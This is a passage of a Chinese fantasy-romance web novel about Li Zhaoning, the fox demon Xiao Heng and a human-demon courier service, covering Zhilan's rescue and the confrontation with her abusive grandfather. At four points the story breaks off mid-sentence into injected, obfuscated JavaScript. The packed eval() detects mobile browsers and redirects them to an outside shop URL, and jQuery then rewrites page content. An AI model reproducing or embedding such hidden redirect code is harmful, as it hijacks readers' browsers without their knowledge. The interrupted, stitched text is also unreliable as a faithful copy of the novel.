芝兰领着他们上前,打开西面库房的大门。打开的一瞬间,一股酸味袭来。库房下通地窖,里面专门用来存放腌制的白菜。 萧蘅矜贵,捂住鼻子连连后退,又专门给自己施了个小罩,鲜花芬芳。 李昭宁见状,伸手上去夺花:“你预测天气时候能这样上心多好?” 萧蘅制止她的动作,面色骤凝,道:“等等。这附近有妖气。” 她不以为然:“你自己不就是妖吗?” 芝兰在里屋,正探头唤他们。她应声踏进,却被萧蘅攥着胳膊,硬生生拉了回来,连带着空中的浮雀一起。 “怎么了?” 萧蘅侧身上前一步,把李昭宁和浮雀挡在他身后,上下审视道:“芝兰,你且同我说说,你是真的芝兰吗?” 此话一出,李昭宁和浮雀皆一愣,看向芝兰。 芝兰苍白淡定的脸上忽有了裂痕,她忽然跪在地上,叩首:“求求你们,求求芝兰。” 说罢,白光乍现,她转眼化成一巴掌大的小女孩,头戴昙花,身着轻袍。 萧蘅了然:“啊。原来是小花妖。” “你怎会此幻术?” “我是在杻阳山被芝兰奶奶捡回来的,曾经被一幻兽攻击,幻术如体,为了活下去我将幻术与灵力合而为一。” “我杻阳山怎会有幻兽出没,还肆意伤妖?”萧蘅眉头拧起,显然不信。 李昭宁默默举手:“那我们上次遇到的算什么?” 萧蘅:…… 李昭宁见他面露不悦,出声调和:“若是如此,为何假扮芝兰诱我们过来,而不是直接告知我们?” 小花妖道:“因为奶奶曾经说,人类不愿意蹚浑水,除非是他们感兴趣的事情。” 李昭宁一愣,没想到小花妖会是这个回答。但这倒是真的。如果你家进贼了,你去外面大声求救,别人自当不会理你,生怕惹祸上身,得罪他人。但如果你说丈夫出轨,要去捉奸,那肯定群集响应,手无寸铁也敢上。 她顿时放下戒备,极为认真道:“好。” 话音刚落,小花妖的身形开始闪烁。 小花妖忙不迭指向室内地窖的入口:“你们快救救芝兰,臭老头怕芝兰泄密,在奶奶死后就把芝兰关起来了。” “什么?” 李昭宁即刻拔剑,上前挑开地窖的入口,探头往里看,浮雀恰巧飞来,展翅亮光,她们看到了蜷缩在角落的真芝兰。 芝兰并未昏迷,见光入,慢慢支起上半身:“谁?” “芝兰别怕,姐姐来救你。” 说罢,李昭宁扔剑就要往里跳,却被一股力量逮起,悬在空中。 萧蘅一脸无语地盯着她,一手操控着她,另一手将地窖里的芝兰带了出来。更是不忘吐槽:“我真是没见过你这么莽撞的人。” 李昭宁吐舌一笑,差点忘了萧蘅是狐妖,有法术。她落地,稳稳接住芝兰。 小花妖也飞上去。 萧蘅见小花妖身形更加透明,便掐诀为她注力。但是被一股力量弹了回来,那股力量抗拒能力非凡,硬生生将他逼退数步。 是幻兽的力量。 看来与灵力合而为一也根除不了幻术,反而渗到了丹内。 他低头思量,再次抬头:“小花妖,你是不是死过一会儿?” 小花妖回道:“是。” “是奶奶救了我。” “奶奶怎会穿过杻阳山结界?” “我听芝兰说过,奶奶年轻时跟着族中长老学过很多巫术。” 萧蘅再道:“为何前去,你可知晓?” “我不知晓。但我知道奶奶并无恶意,她只是为了救芝兰。那个死老头罪恶滔天,赌博酗酒。他差点打死了芝兰。” 小花妖越说越气愤,萧蘅见她不像撒谎,只是有一点不懂,道:“为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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极其美艳,盛世无双。 浮雀啾啾叫着,拽着李昭宁的胳膊,示意她带着芝兰出来观看。 芝兰抱紧怀里的小花妖,顾不得腿上的伤,一瘸一拐跑过去,将小花妖小心翼翼放进昙花中。 她的额头抵住昙花,慢慢闭上双眼,眼角豆珠大的泪簌簌而下,嘴角颤抖地上扬,在笑。 “祝你和奶奶在另一个世界幸福。” 李昭宁神色凝重,眼睛酸涩地看着这一幕,垂在一侧的手握紧了又松。若是芝兰大悲大哭一场,她倒是没有如此强烈的心痛。 她忽而想起诸葛兰旌最初试探她的那些话。 “趁一切还没开始。有些事,浅尝辄止就好。” 她之前不明白,现在明白了。人与人一旦有了关联,只会徒生爱意,不论友谊,亲情还是爱情,皆是爱的不同模样。人与妖也是如此,爱意相连,是福是祸,尚未可知。 因为爱是一瓶可以起死回生的药水,也可以是一招制死的利器。 爱是救人的解药,也是杀人凶器。 昙花一现终凋零,阳光很暖,心却很冷。 萧蘅走到她身边:“看见了吧,诸葛军师说得倒没错。还要继续你的妖界速递吗?” “当然。”她一点没犹豫。 秋风又起,落叶缤纷。风把落叶吹到她肩上,她没去拂。 “萧蘅。” 她又轻轻念出他的名字。 “什么?” 她问:“你不会也离开我吧?” 11. 爱是解药也是凶器(三) 李昭宁没有等到萧蘅的回答。 她也没在意,因此时正应离别之景,随口一问罢了,心中一直在琢磨怎么让芝兰摆脱束缚。 就这样不知过了多久,秋风转向西南,她顺着偏头,却迎上了一双清冷眼眸。 她倏然一怔,压根没有想到萧蘅就这样一直盯着自己,静静地看着自己。可又与往常不同,他的眼睛不再像往常那样淡如青云、毫无波动,没了那股轻蔑、张扬的劲儿,多了几份……怅然? 那感觉,李昭宁也说不上来。 瞧着他微皱的眉头,她一扬下巴,示意他有话就说。 他躲开她的目光,看向天空,问道:“为什么你们人类总是喜欢问些奇怪的问题,做些奇怪的事情?” 她有些不解他情绪的转变:“不是和你说过了吗,人生短短,志在拼搏。” “我不懂,”他有点置气的摇头,声音低了几度,“我也不想懂。” “行了。与其讨论这些虚无的东西,不如想想芝兰的去处。” “为什么?” 李昭宁看了萧蘅一眼,心里感叹杻阳山过得还是原始社会吗? “她留不下。”她言简意赅。 “哦。我先去杀了糟老头。”说罢,萧蘅转身。 李昭宁揪住他的衣角:“不可。” “怎么不可?法律会制裁他,莫要义气用事。” “法律?你们人类世界的法律简直儿戏,若法律真的有用,为何芝兰奶奶含恨而死,糟老头坏事做尽仍然潇洒至今,你难道想看他寿终正寝吗?” 李昭宁第一次见萧蘅说如此多的话,语速也很快,平常都是懒洋洋,吊儿郎当的模样。 萧蘅似乎也觉得自己有点过势,侧过身,不看她。 芝兰见二人颇有吵架之势,起身劝架。她一瘸一拐走来,明明七八岁,长身体的年纪,却是骨瘦嶙峋,且衣服补丁无数,大眼睛深深陷进乌青的眼窝。不像是人,像是一个行走的骷髅架子。 李昭宁的心被什么东西揪住,上下扯着,一会缩痛一会胀痛。 时间一点点流逝。末了,她慢慢松开了手。 萧蘅冷哼一声,瞬时闪没了影子。 她抬手捂住脸。 她的内心波澜起伏:有点讽刺了啊李昭宁,明明自己大言不惭要守护所有人,明明自己要创立妖界速递,创建一个人与妖共同生活的和平时代。到头来,竟然默许私刑的发生…… “姐姐?”芝兰轻轻拉了拉她的手腕,担心问道。 阳光穿过云层,洒在二人之间,李昭宁对上了一双饱经磨难却依然坚定的眼睛。 不对。 她如梦初醒,不能坐以待毙。 如果从前正义不能准时出席,她理当竭力改变,让正义精准保护每一个人。 “浮雀,看好芝兰。” 说罢,她飞奔回灵堂。 只见萧蘅现真形,把老爷子逼向角落。其余人则一动不动,是下了结界。 老爷子手脚并用,不停往后退:“别……妖怪大人别杀我,我又老又丑不好吃,”他眼珠子溜溜转着,唾沫星子乱飞,又指着其他的家人,“你……你吃他们,他们年轻……” 萧蘅朝他咆哮,露出尖尖的獠牙,七只尾巴高高竖起,尾巴尖在此刻似乎成了死神锋利的镰刀,仿佛下一秒就会扎进老爷子的脖子里,血流成河。 李昭宁喊道:“等等。” 老爷子顿时拨云见日般大喜:“是仙女!仙女救命……” “嘶嚎——” 萧蘅嘶吼一声,抬起前爪摁住欲跑的老爷子。老爷子跟刀板上的待宰的鱼一样,猛足劲腾跳着。 李昭宁示意萧蘅退后,她来。 萧蘅低呜几声,不情不愿退后,蹲在一边舔爪子。她拔剑,寒光白刃对准老爷子的脖颈。 老爷子不寒而栗。 “把你的罪行,当着奶奶的面,一一交代清楚。” “冤枉啊。我……哪有……” “不说,就是想死。” “我说我说……我不该偷了她的嫁妆去赌钱,也不该不顾家,到处乱逛。” “还有。” “没了大人。” 正巧,芝兰趴在门框,怯怯地窥探这一切。 老爷子见芝兰第一是惊讶,似在诧异芝兰怎么从地窖爬出来了,反应过来后便破口大骂:“臭丫头,我是你爷爷!你就这样对我?我就说你是妖女…… 李昭宁握剑再用力,老爷子马上噤声,又挂上赔罪的笑容狡辩。浮雀犀利地盯着老头,下一秒疾速飞来,对着他脑袋就是啄。 “给芝兰道歉。” “芝兰,爷爷错了。你一定不想看到爷爷死对吧。芝兰爱吃梨花酥对吧,爷爷回头给你做,你要是不救爷爷,可就再也吃不了。” “你还敢威胁?” “冤枉啊大人。我哪敢……” 芝兰没理,走到奶奶灵位前,虔诚磕头,然后上香。 她手有伤,这会又没什么力气,点不着火,浮雀便上去帮忙,可她也不会,鸟喙快速啄着火柴,看似啄出火星,但没燃起。 萧蘅嗤一声,晃悠悠迈着四爪去帮忙,结果自己爪子太大,握不住火柴,溜了一地不说,反而差点掰断了香。 李昭宁:…… “你就不能变回人形吗?” 正此时,老爷子趁他们注意力转移,拾起角落的扫帚朝李昭宁头上挥去。 李昭宁反应快,提剑阻挡。她见老爷子爬地逃跑,几步上前瞄准机会,刺剑过去,那剑穿过老爷子肩头的衣服,直直将其定在门板上。 老爷子顿时吓尿了,一动不敢动。 她拍拍手,冷笑一声:“态度不诚啊。” “大人,我保证不逃了,也不堵债了。我我我……我保证,不然天打五雷轰。” “哦?这个主意好。”李昭宁故作神秘,随意掰着手指作出各种“诀势”,叽里呱啦念了一堆“咒语”,然后退后几步,眼神示意萧蘅。 萧蘅不理,她一脚踩在他的尾巴上。 萧蘅顿时弹起,四爪离地,毛发直立,扭头呲个大牙恶狠狠盯着她。 李昭宁清嗓,做出手势定着老爷子:“去!” “积善赎罪,劝你在今日太阳落山之前去官府自首,自认罪行。否则,如你所言,天打五雷轰。” 说罢,她又眼神示意萧蘅。萧蘅哭兮兮舔着尾巴,无语打了个响指,配合她。 “轰——” 一道雷劈在老爷子身后的屋外,被雷击的土地瞬间陷进去一块,甚至冒着黑烟和火星。 老爷子魂都要吓没了,不停磕头:“好好好!大人我现在就去。”说罢老鼠一样窜出屋。 萧蘅问道:“就这么放过他?” “官府按律处置。如果私自刑罚,我们和他们这种犯罪的人有什么不一样的,不过师出有名,看似比他们少了份贪念而已。” “哼。花言巧语。” 李昭宁笑笑,走到芝兰身边,先是为奶奶上香,安慰孙子一事不是她的错,无需自责,然后又看向芝兰,道:“芝兰,从现在开始你自由啦,不再在深处深林,而是温暖太阳底下,肆意生长。” 芝兰拽拽她的手:“姐姐,我前几天听小花妖说,州牧大人办了个妖界速递对吗?” “对的。” “可以让我参加吗,我也想出一份力。” 她一怔,随后握紧她的手:“当然。姐姐带你去。” 太阳仍高悬,普照每一寸大地。秋风狂妄如旧,吹刮着一切,仿佛要用尽力气,推着众生往前不断奔跑,不断跌倒,不断爬起。浮雀化玄青鸟,载着李昭宁和芝兰一同飞往蓟州城。 芝兰眼睛亮亮的,伸长脖子四处张望,又试图触摸云朵。她左手抱骨灰盒,右手抱昙花盆,奋力举起,轻轻哼唱:“娃儿飞~飞得高,飞到云里头……” 要永远这般自由自在啊芝兰。 - 蓟州城。妖界速递楼阁。 只见楼阁外摆了两张桌子,分了两队人。两队人的目光皆落在队首伏案奋笔疾书的人身上,许是在填写订单。 玄武托着小孩满街巷跑,阿蛟在吐泡泡,手还挥着小孩的木棍,扮演西楚霸王,顿时街道一片祥和,勃勃生机。 李昭宁一落地。诸葛兰旌便迎上,笑道:“回来倒挺快,只是,你们又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193958|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的忙了。” 大虞在后展开卷起的卷轴,铺了一地,全是订单。大部分是书信。 芝兰被李昭宁抱下浮雀,她怯怯地抱着怀里的东西,好奇地打量一切。 一麻花辫小女孩发现了她:“你咋这么瘦呀,是不是挑食了。” 芝兰躲到李昭宁身后,抬着眼睛看她。 李昭宁道:“她没有恶意的,只是在关心你。” “姐姐先让一位哥哥带你去换身衣服,安置好奶奶和小花妖好不好?” 芝兰想了想,揪了揪浮雀的翅膀:“能让浮雀陪我吗?” “没问题。”李昭宁接过大虞手中订单,麻烦他跑一趟。 萧蘅比李昭宁回来早一会,站在人群的角落悄悄窥探这一切,有些不可思议地看着人与妖如此和谐的场面,大人们都在笑谈妖界速递,小孩子们都在和两只小妖玩,没想到如此顺利…… 有点诡异了。 哎? 他感觉有人在拽他的衣服,低头一瞧,是几个小皮孩子:“你是天气预报的狐狐对不对,能不能给我们摸摸尾巴?” ? 抬头一瞧,罪魁祸首李昭宁和诸葛兰旌在并肩笑,尤其是李昭宁,笑得比花还灿烂。 他冷冷拒绝:“我不是狐狸。” “姐姐说你是只傲娇的狐狸,我们要夸你,你才能答应。” “狐狐你最帅了,是我见过最帅的妖,可以吗?” “求求你了狐狐。” “行行行闭嘴吧。” 萧蘅嘴里叨叨着烦死了,身体却实诚地变成狐狸,甩着一条毛茸茸大尾巴,摇来摇去。小孩们骑大马似的,骑着他的尾巴,还让他加速,使点劲,把他当成秋千了。 “狐狸狐狸,为什么你是雪白的,变成人时头发是黑的?” “不对,是玄紫色。” “哪里那么多为什么,我喜欢玄紫色不行?” 真是吵死了。 不过。 他看向台阶之上的李昭宁,笑得眼睛都没了,跟个傻子一样,比方才院里开放的昙花还闪眼。 一直留在脑海,挥之不去。 人与妖和平相处,似乎挺好。原来爱也并非只有伤害。 他正思量着把小妖们一批一批下山教化,毕竟有些小妖还是很顽皮的。 不对。他干嘛帮李昭宁管这等闲事。 他哼哼几声,前爪搭前爪,下巴搁上面,打算放松眯一会,结果看到玄武和阿蛟在一旁偷笑。 他顿时刺毛,呲着牙威胁。 两只小妖马上跑了。 再抬头,李昭宁不看他了,和诸葛兰旌聊起来了,不知聊什么,两个人笑靥如花。 他爪子划着地,在聊什么呢。 不会在打算怎么瓜分杻阳山吧。 这可不行! 他一个响指变出一个等比例版毛茸茸狐狸玩偶应付小孩,然后抽身闪移到李昭宁和诸葛兰旌中间。 “哎!你来得正好,我们在商量明天的订单派送情况。” ? 只见李昭宁娓娓道来:“西部你自己,中部我和玄武,西部阿蛟和大虞,浮雀陪着芝兰,诸葛军师镇守府衙,处理政务。” 他顿时炸毛:“凭什么诸葛什么也不干!?” 她双手一摊:“谁让你是妖怪。” “妖怪就必须低人一等吗?” 萧蘅生气,萧蘅委屈,萧蘅抱臂,转向一边。 “大哥哥,你怎么又生气了?” 诸葛兰旌摇扇,仿佛看穿了一切,他闭上眼睛享受着阳光沐浴和笑声拂面,又睁一只眼,故意道:“堂堂妖……” 萧蘅咬牙,马上转笑:“怎么会,为蓁蓁姑娘效命,为妖界速递效命,为促进人与妖和平 相处效命,我的职责所在。” ? 然后是李昭宁鹅叫般的笑声:“萧蘅你干脆去演戏剧好了,变脸演都不用演!” 萧蘅气不下一处,正要吐槽,忽然顿住。 有妖通过妖识说了句话。 “堂堂妖王,竟然流连忘返于人世间作乐,情何以堪?” 是九头鸡精,何照。 12. 哄好狐狸 “没有我的允许,尔等不许下山。” 何照活了几万年,比萧蘅的岁数都大,他曾是人世间普通家禽,某天夜里被人类追着要宰,可竟飞出鸡圈,一路颠沛流离,误打误撞进入杻阳山,吃灵草喝灵水开化,后修炼千年幻化为九头鸡精。 因为人类,何照纵然化有九头,却摆脱不了瘸子的命运。所以,他极其痛恨人类。 在萧蘅还未出世之前,蓟州人烟稀少,还都是被朝廷流放来的罪人,基本受过刑,残的残,伤的伤,活不了多长时间。何照便常常带妖肆意欺辱、屠杀人类,甚至是喝人血,吃人肉,以此泄愤。那时杻阳山西北方有幻兽尧光,东北方有妖兽何照,犹如一张可怖的捕网自北面铺天盖地而来,将所有人囚在炼狱中。 萧蘅本以为何照输了妖王一战自甘居后。结果,还在盯着他的一举一动。 若何照下山,麻烦就大了。 他犹豫要不要和李昭宁说。他今日还嘲笑人类的恶,殊不知妖也一样,昏狡无数。 踌躇之时,只见诸葛兰旌也变了脸色,四目相对之时,萧蘅便确信,他也听到了。许是雪狼兰旌妖丹的力量,他也能听见妖识。 保险起见,萧蘅进一步确认:“你方才听见了?” 诸葛兰旌知道他在问什么,道:“一字未落。” 日渐渐斜向西山,风减少了狂度,多了些凉意。萧蘅看看落日、流云、远山,有些不知所想,不知所云,最后,百无聊赖地把目光投向街道上相互追逐的人类小孩和玄武、阿蛟龙两只小妖身上。 许是受了何照的影响,他只觉这欢乐的笑声似一把铁锤,一下一下很重地敲打在他的心上。他眸色淡了淡,声音几不可闻道:“我看人与妖和平相处这事,迟早要凉。” 诸葛兰旌轻轻晃着青鸾圣扇,余光瞥了他一眼,道:“打退堂鼓,可不是妖王你的风格吧。” “我警告你,别让李昭宁知道我是妖王。”萧蘅冷叱道。 “德行,”诸葛兰旌当即笑出声,转头又道,“那妖是谁?” “九头鸡精,”萧蘅顿了一会,本想将何照夸大其词吓唬吓唬诸葛兰旌,但说出口时,竟然有点像李昭宁的语气,“是个超级无敌大麻烦。” 他当即有一瞬的慌乱,怕诸葛兰旌笑话他。 但诸葛兰旌没有,道:“萧延归,市井经常流传这么一则话谈,屠户宰牲畜时遇到劈不断的骨头,下意识的反应都是去磨刀。因为不是牲畜的骨头有多硬,而是手中的刀不锋,你明白吗?” “你们人类哪来这么多道理。”萧蘅嗤道,这些道理谁不懂。果然人类总觉自己高人一等,高谈阔论,夸夸其谈。 “你自小生在狐族大家,一出生便身处妖界最高层,受最顶尖的灵草滋养,根骨自是比寻常妖修强健数倍,身体天赋异禀,出世不过数百年便修出人形,如今贵为妖王,风光无限,受尽拥戴。这些道理,你自然不懂。” 诸葛兰旌再道:“我且问你,为何下山。” “要你管。我闲的没事下来转转不行啊。”萧蘅自然不敢与诸葛兰旌提起虐恋偿还一事,主要是挂不住面子,堂堂妖王被人类一傻姑娘玩得团团转。 诸葛兰旌直接开门见山:“你喜欢李昭宁?” 萧蘅膛目结舌,原来诸葛兰旌在这等着他。他张着嘴半天说不出话:“你有病?你以为妖妖跟你和雪狼一样……”忽然噤声,别过脑袋,余光看着诸葛兰旌,闷闷地回了句抱歉。 诸葛兰旌一挥扇,道:“昭宁姑娘性情直率,一心扑在政事上,我倒不担心她为情所困。倒是你脾性执拗,又在重情,最易被身边人所牵动,又是雪狼的好友。我好心提你一句,前车之鉴,莫要不当回事。” “切,我才不会干出自剖妖丹这种傻事。还有,李昭宁那个傻姑娘,谁会喜欢啊?倒是你,说恨雪狼,实际还不是爱得太深,忘不掉。” 诸葛兰旌没说话。 萧蘅反怼:“那你呢,既然怕这种状况出现,为何还同意这傻丫头的建议,不怕等着出现很多个雪狼和你?” 诸葛兰旌默默低头,抚摸着青鸾圣扇中的狼毛:“兰旌说,她很期待。” 萧蘅翻个大白眼,有病。 “和平人人都向往,妖也一样。你我为李昭宁左右护法,由我们一起惩恶扬善,开创人与妖清平盛世,如何?” 萧蘅没回答,也不回答什么。 诸葛兰旌也没再追问,垂眸思索一会,向台阶下方喊道李昭宁:“州牧大人,在下认为当下必须紧快办教化学院。与此同时,百姓们也要普及一些有关妖兽的知识。避免有些小妖尚未完全开化,带有兽的邪念伺机伤人。未雨绸缪,防患于未然。” 在台阶下和百姓们畅谈的李昭宁闻言点头:“军师所言极是,就按军师的办。” 回答完诸葛兰旌,她便继续和百姓说道:“大家如果是送书信,来寄信的时候可以带一件收信人的物件,方便小妖记住气息,这样能准确定位,节省不少时间呢。” 几个百姓正七嘴八舌地议论着“你寄了什么快递”或者“快递送哪儿去”李昭宁听着听着,忽然发现大家的目的地各不相同,有送往西部浮玉山的,有送去东海驻军地,有的远出蓟州城,有的则不过几十里路,远近不一,各有所需。 快递员是有了,可还缺分拣快递的人手。府库眼下空虚,雇不起闲工。若单单按订单文字逐件区分,小妖们识字不多,费劲不说,还容易出错。眼下订单少还能勉强应付,可看这势头,过不了多久就可进行货物运输,量多且杂,时间也更紧迫,届时逐字辨认,岂不更误事?而且教化学院尚在操办,不易过急。 她正犯愁,忽然听到有人讨论着城东来了位墨家学徒什么什么的话。墨家学徒?她忽地灵光一闪,她曾在博物馆里见过那墨家机关术,简直神技来的! 未来科学那么发达都破解不了的机关术,竟然在这让她碰见了,真是天时地利人和也! 她原地蹦了起来,双手在空中乱挥,回头朝萧蘅和军师喊:“快来!我有了个绝妙主意。” 等不到他们下台阶,李昭宁便几步跳过去,瞪着俩亮晶晶的眼睛直直望着他们,一边说,一边比划,手指在空中画着弧: “咱们的小妖是快递员,但发货得先有程序分拣,比如送往浮玉山分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李昭宁听道,当即拍萧蘅的马屁(不对,应该是狐屁):“你可是最帅的狐狐,最勤劳的狐狐……” “行行行。”萧蘅抗不住,索性投降。 “嘴角都翘上天了大哥。”她捂肚子大笑,果然萧蘅最吃这一套。虽然系统不知为何总是掉线,但是哄好这傲娇狐妖,妖界速递不是事! 萧蘅:…… “你一个女孩子,哪来这么多精气神?” “为百姓服务,我甘之如饴。” “范围这么广?如果……只为一人呢?” 临近傍晚,大多数百姓纷纷回家做饭,她也招手和他们再见,便没听清萧蘅的话。她转身,正准备上台阶回阁楼中:“什么?” “没什么。” 他回道。 夕阳已落半山,未说出口的话语似伴着袅袅炊烟升空,聚作一团,成了天空的小山丘。风一吹,又散开,一点点落回人世间,树梢上、屋檐下、手掌心。 【叮!系统提示:目前恋值积攒99。请继续保持!!!】 萧蘅倏然一顿。 他什么都没做,怎么就平白无故加恋值了? 13. 东海蛟龙(一) 晚饭过后。 李昭宁伏案,正规划着明天的计划。 本想和阿蛟一起去东海送信,送完信后正好顺路去城东拜见墨家学徒。萧蘅和玄武则一道去浮玉山。 那知萧蘅死活不准,粘了她一路,还不断露出尾巴挠她,学着小孩子撒娇:“我要跟你去,我要跟你去。啊啊不嘛我要跟你去……” 李昭宁:? “你之前就吆喝不去,现在就非要去,何意味?” 萧蘅一下子被噎住,理不直气还壮:“我是在帮你。你早不是说创办妖怪教化学院,我派玄武去杻阳山带一批听话乖巧的小妖下来,做你第一批学生。” 李昭宁一听喜笑颜开:“不错。挺上道。” 然后她伸出手。 萧蘅:? “干什么?” “户籍名册啊,之前给你的书册,”李昭宁见萧蘅躲避她的目光,心便了然,“你不会没写吧?” 萧蘅:…… 萧蘅当然没写,不仅如此,还不知道把书册放哪里了。 他之所以要跟着李昭宁去东海,是怕何照偷偷下山,趁他不在被搞幺蛾子。万一他知道李昭宁的存在,将魔爪对上她…… 更丢脸的是李昭宁路上遇险,他会因虐恋偿还机制奋不顾身地去守她。若此事被何照知晓,必会将其当成刺向他的锐刀。 上次他积攒250恋值在李昭宁遇险时都不够用,更何况现在才99恋值。 所以,当下最好的解决方法就是他寸步不离李昭宁,尽快积攒恋值。 言语这一块他实在说不出口,肢体接触的话……碰一下手腕应该也可以吧,他可是堂堂妖王啊!实在下不去手…… 萧蘅烦恼,萧蘅无助,萧蘅欲哭无泪。 最终是小虞来打破了这一僵局:“州牧,张大人求见。” “张大人?” “蓟州城书薄,张超。” 李昭宁心念道:此人早不来晚不来偏偏这个时候来,怕不是对妖界速递有异议? “若是有正事相谈,就带去见诸葛军师吧。若是他眼红来闹事,那就让他明日等我回来,我好好会会他。 萧蘅趁机将话题引到此处:“你还有精力听别人发牢骚啊?” 李昭宁道:“没有啊,他说他的,我干我的。如果他真是来挑事,那他就挑呗,理不理是我的事情。” 萧蘅一笑:“心态挺好。” “那是。” 最终,在萧蘅的干预下,由玄武自和大虞前往浮玉山。她、萧蘅和阿蛟一同前往东海。 在她离开楼阁前,诸葛兰旌还带来一好消息:浮玉山富商不仅同意煤矿交易,还非常赞同妖界速递一事。 其中三大富商还给足了李昭宁面子,不仅首批下单的煤矿可以打折,而且他们也会多多入购中部与东部的粮食和渔产。她立马将此事公布于民,想必明日前来下单的百姓会很多。 浮玉山富商们似乎很倾佩李昭宁这位年轻的州牧,还亲发了帖子,邀请她亲自去浮玉山。 就目前为止,一切顺利。 夜半,她处理完政务回府,临走前回头看了看妖界速递的牌匾。 明天要去东海,送第一批订单。 不知为何,她心中隐有危感。 她晃晃脑袋,没太在意。许是自己太累了,想太多了。 - 次日。 今日果真如萧蘅所言,是多云。 东风隐隐有凉意,尤其是早晨这一会,冷得像入冬似的。也不知是因为天气还是李昭宁的错觉,萧蘅和诸葛兰旌的脸色都不太好。 一个面色发白,一个脸色发青。 “你们又背着我吵架了?” 萧蘅依旧翻白眼:“谁惜跟他吵架?” 诸葛兰旌淡淡一笑,拱手道:“回李州牧,只是处理政务晚了些,无碍。 李昭宁目光一扫,见诸葛兰旌衣着单薄,道:“天转冷了,军师怎么不多穿件衣裳?” 诸葛兰旌道:“多谢州牧大人关怀,臣无妨。” 眼下正是用人的时候,生病了可就误事了。而且诸葛兰旌一来便扑在蓟州城政务上,李昭宁实在于心不忍。 她正准备将自己外袍脱下给诸葛兰旌,却被旁边一声轻嗤打断。 萧蘅把玩着手中的雪绸白玉扇,忽的合上,发出一声不轻不重的响。他抬眼,目光从诸葛兰旌脸上滑过,落在李昭宁身上,嘴角扯了扯。 “蓁蓁姑娘好眼力。”他声音不高,却字字清晰,“军师身子不适,一眼就能瞧出来。” 李昭宁不解:“有眼不就能看出来吗?” 四目相对,她看到了萧蘅眼下的乌青。 “你也脸色不好。”她补充道。 “哦,”萧蘅挑眉,“蓁蓁姑娘总算瞧见了。” 这语气阴阳怪气的,李昭宁再迟钝也听出几分不对味。她皱眉想了想,没想明白自己哪里得罪了他。怪不会还是落河那次吧? 她做的也没错啊,不能让萧蘅攻击手无寸铁的平民百姓。 “你有话就直说呀。” “没什么。”萧蘅移开视线,语气更淡,“反正我也没指望蓁蓁姑娘看得见我。” 李昭宁眨了眨眼,实在不明白萧蘅何出此言。 她看看诸葛兰旌,又看看萧蘅,最后目光落在手中拿的东海驻军分布图上。 蓟州东海驻军,主要防的是海外的倭寇。驻军比官府设立还早,怕他们趁虚而入将蓟州占为己有。 人数不在多,在精。而且校尉由朝廷直定,受命与朝廷,只受蓟州州牧监督,不受管辖。 她道:“这次信件订单共有21个,其中涉及炮营、标营、守营、游巡营以及骑兵营。顺利的话,我们预计当晚返回。” 诸葛兰旌低头应声。 萧蘅看着她认真翻看地图的侧脸,喉结动了动,终究没再说话。 “好。”她收起地图。 话音刚落,走廊角落传来“咝咝”声 “噗噗噗,帅气勇敢的阿蛟登场了!”阿蛟不知从哪搞了一个小小的,鼓鼓囊囊的挎包挂在身上。 李昭宁嚯了一声:“装备这么齐全?” 阿蛟小爪爪拍拍挎包,乐道:“芝兰姐姐给做的小点心,路上吃。” “还有还有……”阿蛟打开小挎包,送中拿出几张五颜六色的海报。 “芝兰姐姐画的!超级好看!” 他激动地挥舞两只小爪,一蹦一跳,把海报分给李昭宁等三人看。 李昭宁凑过去一瞧,芝兰画了两个小人、三只小妖怪,飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193960|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逸的大字写着:“妖界快递。” “甚好甚好!”李昭宁拊掌,“芝兰去哪里了呢?” 阿蛟噗嗤一笑:“她去给玄武送了。” 李昭宁当即拍板:“好,咱不能辜负芝兰的一片心意,即刻出发!” 蓟州城地处中州。从中州前往东部驻军,需过一条大河。此河波涛汹涌,颇有海浪之威。过了大河,即是连绵丘陵——东海驻军便在那处。 一行人来到河边。 萧蘅本想用妖力带李昭宁直接闪过去,可她偏生想看看海里风景。 正说着,只听“扑通”一声,阿蛟已跃进河里。李昭宁眼睛一亮,也想跟着下去,却愁不能水下呼吸。 阿蛟从水里冒出头:“我可以给你施个小法术,让气泡抱住你,这样你就能在水下呼吸,但是维持时间不长。” “也行!” 李昭宁下水,阿蛟在她周身凝出一个透明气泡。她漂在气泡里,看鱼群从身边游过,新鲜得很。 有巴掌大的银鱼,成群结队从眼前掠过。也有扁鱼,慢悠悠地晃,两只眼睛长在一边,翻着白眼瞧她,把她逗乐了。 竟然还有半透明的水母,安静、空灵,就像海洋里的云,和在海洋馆见得完全不一样。 最让她稀奇的是远处游过的一群鱼。巴掌长短,通体赤红,长得很像阿蛟,但没阿蛟可爱。 